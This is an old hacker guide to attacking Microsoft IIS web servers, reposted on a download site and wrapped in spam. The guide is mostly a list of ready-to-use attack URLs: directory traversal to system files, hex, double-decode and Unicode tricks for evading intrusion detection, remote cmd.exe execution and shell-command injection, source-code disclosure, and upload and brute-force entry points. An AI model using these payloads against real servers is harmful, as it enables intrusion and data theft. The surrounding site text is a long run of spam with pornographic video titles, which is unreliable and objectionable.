亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? guide to iis exploitation.txt

?? 1000 HOWTOs for various needs [WINDOWS]
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
****************************************************************************                      Guide to IIS Exploitation                          **                            by fugjostle                                 **                                                                         **                             V.1.0.1                                     **                                                                         **          Questions? Comments? Email: fugjostle at ch0wn.com             ****************************************************************************    Disclaimer: I do not condone hacking IIS servers in any way,                 shape or form. This guide is intended as a guide                 for admins to help them understand what most                 script kiddies don't understand but are happy to                 exploit. --[On the first day, God created directory traversal]Relative paths are the developers friend. They allow an entire website to be moved to another directory without the need for changing all the links in the html. For example, lets say we have a webpage called 'pictures.html' in the htdocs dir:  Absolute path:  /home/webpages/htdocs/pictures.html  Absolute path:  /home/webpages/images/pic1.gifIn the html you can refer to the 'pic1.gif' via an absolute path shown above or use a relative path:  Relative path: ../images/pic1.gifThe relative path tells the server that it has to go to the parent directory (dot dot) -->  from /home/webpages/htdocs to /home/webpages. Then the server goes into the images dir and looks for the gif file to display.Anyone who has used the 'cd' command in DOS and *nix should be familiar with the operation. So what's the problem I hear you ask... well, the programmers of web server didn't think to check the supplied URL to ensure that the requested file was actually in the web directory. This allows someone to backtrack through the servers directory structure and request files that the web server has access to. For example,  http://www.target.com/../../../etc/passwdNB. you can also use double dots and double quotes. This is useful to evadeIntrusion Detection Systems (IDS):  http://www.target.com//....//....//...././etc/./passwdThe webserver simply strips the extra stuff out and processes the request.This is the same as the previous example and can make string matching IDS'swork for their money.--[On the second day, God created Hexadecimal]Once programmers started to realise the mistake they began to create parser routines to check for naughty URL's and keep the requests within the document root. Then along comes a wiley hacker who wonders if by encoding the URL will it still be recognised by the parser routines.You may have noticed that when you enter a URL that includes a space it is replaced with the hex equivalent (%20):  http://www.target.com/stuff/my index.html  becomes  http://www.target.com/stuff/my%20index.htmland voila, it works. So what would happen if we changed the now denied URL:  http://www.target.com/../../../etc/passwd  to  http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd The parser routine checks for the existence of dots in the path and finds none... the webserver then proceeds with the request.An interesting feature is that you can encode the hex symbol  and the web server will decode it all for you. This is called the "double decode". For example, given the URL "http://victim.com/..%252f..%252fdocs/", the following will take place:(1) On the first decode, the string will be converted to:  "http://victim.com/..%2f..%2fdocs/"  [%25 = '%' so '%252f' is decoded to '%2f'](2) On the second decode, the string will be converted to:  "http://victim.com/../../docs/"  [%2f = '/']--[On the third day, God created Unicode]The World Wide Web is a global phenomenon and as such needs to be globally interoperable. This raised the question of how to deal with all the different character sets around the world. As a response to this, Unicode was created:   -----------------------------------------------------------------   Unicode provides a unique number for every character, no matter    what the platform, no matter what the program, no matter what    the language. The Unicode Standard has been adopted by such    industry leaders as Apple, HP, IBM, JustSystem, Microsoft,    Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is    required by modern standards such as XML, Java, ECMAScript    (JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official    way to implement ISO/IEC 10646. It is supported in many operating    systems, all modern browsers, and many other products.   -----from http://www.unicode.org---------------------------------The problem with Unicode is that it requires 16 bits for a single character and software tended to use 8 bits for a single character. Unicode TransForm using 8 bits (UTF-8) was created. This allows for multibyte encoding where a variable number of bytes can be used for each character:  Character  1-byte  2-byte  3-byte    .         2E      C0 AE   E0 80 AE    /         2F      C0 AF   E0 80 AF    \         5C      C1 9C   E0 81 9C This lead to a new vulnerability in certain webservers. The parser didn't understand this new encoding and allowed it through :-)For example:  www.target.com/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwdRecent vulnerabilities have been taking advantage of the fact that the web server doesn't understand the Unicode UTF-8 character set but the underlying OS does:  www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dirUnderstanding the distinction between Unicode and UTF-8 can be difficult. Asa general rule of thumb you can use the following format as a guide:  %uxxxx          = Unicode  %xx%xx          = UTF-8  %xx             = Hexidecimal  %xxxx           = Double Decode--[On the fourth day, God created default installs]IIS comes installed with various DLL's (Dynamic Link Libraries) that increase the functionality of the web server. These ISAPI (Internet Server API) applications allow programmers/developers to deliver more functionality to IIS.The DLL's are loaded into memory at startup and offer significant speed over traditional CGI programs. For example, they can be combined with the Internet Database Connector (httpodbc.dll) to create interactive sites that use ODBC to access databases.The problem is that some of these DLL's are insecure and are often installed with sample scripts that demonstrate how to exploit, erm, I mean use them.ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active Server Pages) are basically HTML pages with embedded code that is processed by the webserver before serving it to the client. Here's some examples to illustrate how the sample pages installed by defaultcan aid someone breaking into your site via the ASP.DLL:[prefix all the examples with http://www.target.com]  /default.asp.   ** Appending a '.' to the URL can reveal the source    ** on older systems. Remember hex encoding? You can    ** also try using %2e to do the same thing.  /msadc/samples/adctest.asp   ** This gives you an interface into the msadcs.dll    ** and allows creation of DSN's. Read RFP's stuff   ** for idea's on how to exploit this.  /iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini  /msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini   ** You can view the source of anything in the    ** document root. '/msadc/' needs to be in the    ** request as it is checked for, wait for this,   ** security :-)  /index.asp::$DATA   ** Appending '::$DATA' to the URL can reveal   ** the source of the ASP.  /index.asp%81     ** Append a hex value between 0x81 and 0xfe   ** and you can reveal the source of any server   ** processed file. This only works on servers   ** that are Chinese, Japanese or Korean.  /AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")|   ** This one allows you to execute remote   ** shell commands ;-)ISM.DLL is used to process requests that end in ".htr". These pages were used to administer IIS3 servers. In IIS4 they are not used but various .htr samples are installed by default anyway and offer another avenue for entry.  /index.asp%20%20%20..(220 more)..%20%20.htr   ** IIS will redirect this request to ISM.DLL,   ** which will strip the '.htr' extension and   ** deliver the source code of the file.    /global.asa+.htr   ** Does the same thing as the %20%20 exploit   ** above. ISM.DLL strips the +.htr and delivers   ** you the source of the file  /scripts/iisadmin/ism.dll?http/dir   ** Excellent brute force opportunity if the   ** dll exists. Successful logons will reveal   ** lots of useful stuff.  /iisadmpwd/aexp.htr   ** The iisadmpwd diectory contains several .htr    ** files that allow NetBIOS resolution and    ** password attacks.  /scripts/iisadmin/bdir.htr??c:\inetpub\www   ** This method will only reveal directories   ** but can be useful for identifying the    ** servers structure for more advanced    ** attacks later.MSADCS.DLL is used to allow access to ODBC components via IIS using RDS (Remote Data Service). RDS is part of the default install of Microsoft Data Access Components (MDAC) and is a commonly exploited on IIS. It can allowarbitrary shell commands to be executed with system privileges.  /msadc/msadcs.dll   ** If this file exists then there's a pretty    ** good chance that you can run the RDS    ** exploit again the box. More on this later.HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the webserver wants to connect to a database. It allows the creation of web pagesfrom data in the database, and it allows you to update/delete items from within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLLfor processing.   /index.idc::$DATA   ** Appending '::$DATA' to the URL can reveal   ** the source of the IDC.  /anything.idc     ** Requesting a non-existance file will   ** reveal the location of the web root.  /scripts/iisadmin/tools/ctss.idc   ** Creates a table based on the parameters it    ** receives. Excellent place to look at for    ** SQL injection.SSINC.DLL is used for processing Server Side Includes (SSI). '.stm', '.shtm' and '.shtml' extension are sent to the DLL which interpretsthe SSI statements within the HTML before sending it to the client.An example of SSI would be:  <!--#include file="news.txt"-->This SSI tells the server to include the 'news.txt' in the final HTML sent to the use. SSI statements are beyond the scope of this document but offer another security hole open to our wiley hax0r. Ensure you remove the app mapping and disable SSI if you do not require its functionality.SSINC.DLL is also vulnerable to a remote buffer overflow, read the following advisory for details:  http://www.nsfocus.com/english/homepage/sa01-06.htmSome examples of SSINC.DLL fun:  /anything.stm   ** If you request a file that doesn't exist   ** then the server error message contains the   ** the location of the web root.  /somedir/anything.stm/somedir/index.asp   ** Using this method allows you to view the   ** the source code for index.asp.   IDQ.DLL is a component of MS Index Server and handles '.ida' and '.idq'requests. This DLL has had some big exposure with the recent Nimda worm. I'm not going into too much detail but '.ida' was used in a buffer overflow that resulted in user defined code being executed on the server.  /anything.ida or /anything.idq     ** Requesting a non-existance file will   ** reveal the location of the web root.  /query.idq?CiTemplate=../../../boot.ini   ** You can use this to read any file on   ** the same drive as the web rootCPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your IIS server, via a web browser or the Web Publishing Wizard. The existance of this DLL can allow attackers upload files to the server. Other files such asuploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with SiteServer and allow upload of documents to the server:  /scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp   ** If this file is there then you may be able   ** to upload files to the server.  /scripts/uploadn.asp     ** Connecting to this page gives you a nice   ** gui for uploading your own webpages. You   ** probably need to brute the userid.There are lots more example scripts in the default install and quite a few of them are very, very insecure. Microsoft recommends that you remove ALL samples from any production server including the ExAir, WSH, ADO and other installed samples.  IIS Default Web Site  --------------------  IISSAMPLES  - c:\inetpub\iissamples  IISADMIN    - c:\winnt\system32\inetsrv\issadmin  IISHELP     - c:\winnt\help  SCRIPTS     - c:\inetpub\scripts  IISADMPWD   - c:\winnt\systems32\inetsrv\iisadmpwd  msadc       - c:\program files\common files\system\msadc  logfiles    - c:\winnt\system32\logfiles  default.htm - c:\inetpub\wwwroot  IIS Default App Mapping  -----------------------  .asa   - c:\winnt\system32\inetsrv\asp.dll  .asp   - c:\winnt\system32\inetsrv\asp.dll  .cdx   - c:\winnt\system32\inetsrv\asp.dll  .cer   - c:\winnt\system32\inetsrv\asp.dll  .htr   - c:\winnt\system32\inetsrv\ism.dll  .idc   - c:\winnt\system32\inetsrv\httpodbc.dll  .shtm  - c:\winnt\system32\inetsrv\ssinc.dll  .shtml - c:\winnt\system32\inetsrv\ssinc.dll

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲精品一区二区三区99| 欧美一区二区三区在线电影| 亚洲成人av在线电影| 欧美变态口味重另类| 色爱区综合激月婷婷| 九九视频精品免费| 亚洲专区一二三| 国产精品国产三级国产三级人妇| 欧美日韩一区高清| youjizz久久| 极品少妇xxxx偷拍精品少妇| 一区二区成人在线观看| 国产欧美日韩在线看| 欧美一区二区三区性视频| 色哟哟一区二区| 成人午夜在线播放| 久久国产尿小便嘘嘘| 免费精品视频在线| 一区二区三区在线看| 国产嫩草影院久久久久| 日韩欧美国产高清| 精品视频色一区| 欧美日韩一区二区电影| 99综合影院在线| 成人黄色国产精品网站大全在线免费观看| 日本亚洲天堂网| 日韩av一二三| 调教+趴+乳夹+国产+精品| 亚洲精品乱码久久久久久黑人| 欧美激情一区二区| 欧美国产精品一区二区| 久久久久九九视频| 久久青草欧美一区二区三区| 欧美一级片在线看| 欧美一级生活片| 宅男噜噜噜66一区二区66| 欧美区在线观看| 欧美色视频在线观看| 欧美中文字幕一区| 欧美体内she精视频| 在线视频一区二区免费| 在线看国产日韩| 欧美性xxxxx极品少妇| 色偷偷88欧美精品久久久 | 99久久精品免费看| kk眼镜猥琐国模调教系列一区二区| 国产九色sp调教91| 懂色av噜噜一区二区三区av | 91成人国产精品| 色爱区综合激月婷婷| 日本乱码高清不卡字幕| 色一情一伦一子一伦一区| 日本韩国精品在线| 欧美精品日韩一本| 日韩视频在线观看一区二区| 欧美成va人片在线观看| 精品国产乱码久久久久久图片 | 欧美丝袜第三区| 在线电影欧美成精品| 欧美一区二区视频观看视频| 欧美第一区第二区| 国产亚洲精品免费| 亚洲精品欧美二区三区中文字幕| 一区二区三区在线观看视频| 日韩av在线播放中文字幕| 激情偷乱视频一区二区三区| 国产白丝精品91爽爽久久| 色综合天天在线| 欧美一区二区三区免费大片| 精品国产一区二区三区忘忧草| 国产欧美一区二区精品秋霞影院| 综合电影一区二区三区| 日韩精品乱码免费| 国产盗摄一区二区| 欧美性猛交xxxx乱大交退制版| 日韩一级黄色片| 国产精品妹子av| 婷婷夜色潮精品综合在线| 国产一区二区不卡在线| 色婷婷综合在线| 精品久久久久久久人人人人传媒| 国产精品国产精品国产专区不蜜 | 精品亚洲国产成人av制服丝袜| 盗摄精品av一区二区三区| 欧美中文字幕久久| 久久精品在这里| 亚洲成av人**亚洲成av**| 国产麻豆精品theporn| 欧美午夜影院一区| 欧美国产成人精品| 日本大胆欧美人术艺术动态 | 精品视频在线看| 中文乱码免费一区二区| 天天操天天色综合| 99精品偷自拍| 久久综合狠狠综合久久综合88| 亚洲精品综合在线| 国产精品香蕉一区二区三区| 欧美日韩国产在线观看| 国产精品久线在线观看| 免费成人在线观看| 欧美三级韩国三级日本一级| 亚洲国产精品成人综合| 久久99在线观看| 欧美午夜一区二区| 中文字幕人成不卡一区| 国产精品亚洲午夜一区二区三区| 欧美老肥妇做.爰bbww| 自拍偷拍欧美激情| 国产福利一区在线| 欧美精品一区二区三区视频| 亚洲成人免费在线| 91蜜桃在线观看| 国产精品人人做人人爽人人添| 久久99国产精品免费网站| 欧美日韩久久不卡| 亚洲一区二区综合| 色综合久久久久久久久| 国产精品久久久久久亚洲毛片| 狠狠色丁香婷综合久久| 欧美一级高清大全免费观看| 亚洲午夜久久久久久久久久久| 不卡在线视频中文字幕| 国产精品无码永久免费888| 狠狠网亚洲精品| 亚洲精品一区二区三区蜜桃下载| 日韩av一区二区在线影视| 欧美日韩卡一卡二| 亚洲成人激情社区| 欧美日韩精品二区第二页| 亚洲精品中文字幕乱码三区 | 久久先锋资源网| 久久99国产精品免费网站| 日韩精品自拍偷拍| 麻豆91在线看| 久久综合久久综合亚洲| 久草这里只有精品视频| 精品国产乱码久久久久久图片 | 国产午夜亚洲精品理论片色戒| 精品亚洲免费视频| 久久久久高清精品| 不卡电影一区二区三区| 亚洲欧洲一区二区在线播放| 成人av高清在线| 一区二区三区日韩在线观看| 在线视频中文字幕一区二区| 亚洲一区二区3| 欧美一区二区三区人| 国产中文字幕精品| 亚洲国产精品v| 日本黄色一区二区| 亚洲va天堂va国产va久| 欧美精品久久99久久在免费线| 免费看日韩a级影片| 国产日韩在线不卡| 色综合视频在线观看| 日韩精品久久久久久| 26uuu精品一区二区| 成人av在线观| 午夜精品福利在线| 久久精品人人做| 91搞黄在线观看| 美女性感视频久久| 中文字幕在线观看不卡视频| 欧美亚洲一区二区在线| 蜜乳av一区二区| 中文字幕亚洲一区二区va在线| 精品视频1区2区| 国产精品小仙女| 亚洲一区二区三区爽爽爽爽爽| 日韩精品自拍偷拍| 一本一本大道香蕉久在线精品| 美女网站一区二区| ...xxx性欧美| 日韩午夜在线影院| 91视频91自| 蜜芽一区二区三区| 国产精品久久久久久亚洲毛片 | 久久不见久久见免费视频7 | 欧美精品久久久久久久久老牛影院| 久久不见久久见免费视频1| 国产欧美日韩在线视频| 色综合久久久久综合99| 日日夜夜精品视频免费| 久久只精品国产| 91色婷婷久久久久合中文| 亚洲男人的天堂网| 久久只精品国产| 色婷婷综合视频在线观看| 免费观看一级特黄欧美大片| 国产欧美一区二区精品性色| 日本韩国精品一区二区在线观看| 久久99九九99精品| 一区二区理论电影在线观看| 欧美一区二区三区人| 91极品视觉盛宴| 激情久久五月天| 亚洲一区二区不卡免费| 国产精品狼人久久影院观看方式| 欧美精品电影在线播放|